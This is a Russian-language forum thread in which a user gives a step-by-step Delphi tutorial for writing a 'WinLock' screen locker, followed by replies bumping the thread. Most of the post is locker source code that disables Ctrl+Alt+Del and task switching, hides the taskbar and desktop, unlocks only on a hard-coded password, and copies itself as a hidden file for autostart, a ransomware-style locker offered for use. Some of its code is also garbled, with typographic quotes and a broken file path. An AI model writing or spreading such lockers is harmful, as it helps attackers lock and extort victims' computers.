WINLOCK

[spaQ]

spaQ отредактировано spaQ

негр амотный

как написать винлок на Delphi.
Чтобы написать данную программу нужно:

1. Delphi.
2. 2 руки(или 1 нога):D:
3. Голова.(не обезательно)
4. 10 рублей (которые в конце урока вы отошлёте мне)
   Запускаем Delphi, кидаем на форму TImage (Чтобы загрузить картинку блокиратора) TEdit, TButton.
   

и начинаем строчить.....
1.
↓↓↓↓↓↓↓↓↓↓
procedure TForm1.FormActivate(Sender: TObject);
var
hTaskBar : THandle;
begin
Edit1.Clear;
//исключаем из списка ALT+CTRL+DEL
ShowWindow (Application.handle, SW_HIDE);
//Размер формы:=Размеру Экрана
form1.Height:=screen.Height;
form1.Width:=screen.Width;
%(red)[//Отключаем ALT+CTRL+DEl ALT+TAB CTRL+ESC
SystemParametersInfo(SPI_SCREENSAVERRUNNING,1,0,0);]
%(blue)[//Убираем Панель задач
hTaskbar := FindWindow(‘Shell_TrayWnd’, Nil);
ShowWindow(hTaskBar, SW_HIDE);]
%(green)[//Убираем Иконки с рабочего стола
ShowWindow(FindWindow(nil,’Program Manager’),SW_HIDE);
end;]

(пишем что блокирует или скрывает)

2.
↓↓↓↓↓↓↓↓↓↓
вводим какой символ будет отображать в вместо пасса.
вот код:
procedure TForm1.Edit1Change(Sender: TObject);
begin
Edit1.PasswordChar:=’*';
end;

3.
делаем пароль
↓↓↓↓↓↓↓↓↓
procedure TForm1.Button1Click(Sender: TObject);
var
hTaskBar : THandle;
Password:string[10];
begin
Password:=edit1.text;
If (Password=’telonko.ru′) then
begin
//включаем alt+ctrl+del alt+tab ctrl+esc
SystemParametersInfo(SPI_SCREENSAVERRUNNING,0,0,0);
//Показываем иконки на рабочем столе
ShowWindow(FindWindow(nil,’Program Manager’),SW_SHOW);
//Показываем Панель Задач
hTaskbar := FindWindow(‘Shell_TrayWnd’, Nil);
ShowWindow(hTaskBar, SW_SHOWNORMAL);
//Закрываем прогу
Close;
end

4.
Включаем прооверку пароля
↓↓↓↓↓↓↓↓
else
begin
Messagedlg(‘Попытка не пытка:): испытай судьбу ещо разок :):…’,mterror,[mbok],0);
Edit1.Clear;
end;

5.
чтоб добавить в автозагрузку пишем ещо и етот код...
↓↓↓↓↓↓↓
CopyFile(PChar(ParamStr(0)), PChar('C:'+ 'название винлока (любое название).exe'),True);
SetFileAttributes('C:название винлока (любое название).exe', faHidden);

[spaQ]

spaQ отредактировано

негр амотный

подниму ка я ету тему:):

[Viskontez]

Viskontez отредактировано

Продвинутый

Поднимаю, +

[zInGeR]

zInGeR отредактировано

Продвинутый

поднял)

[S.W.A.G.]

S.W.A.G. отредактировано

Легенда

я тоже

[Ozon]

Ozon отредактировано

Лень

[WhiteStar]

WhiteStar отредактировано

WhiteStar

Норм, добавил закладку

[Mr.LARE]

Mr.LARE отредактировано

Босяк

Сори чувак, но гомно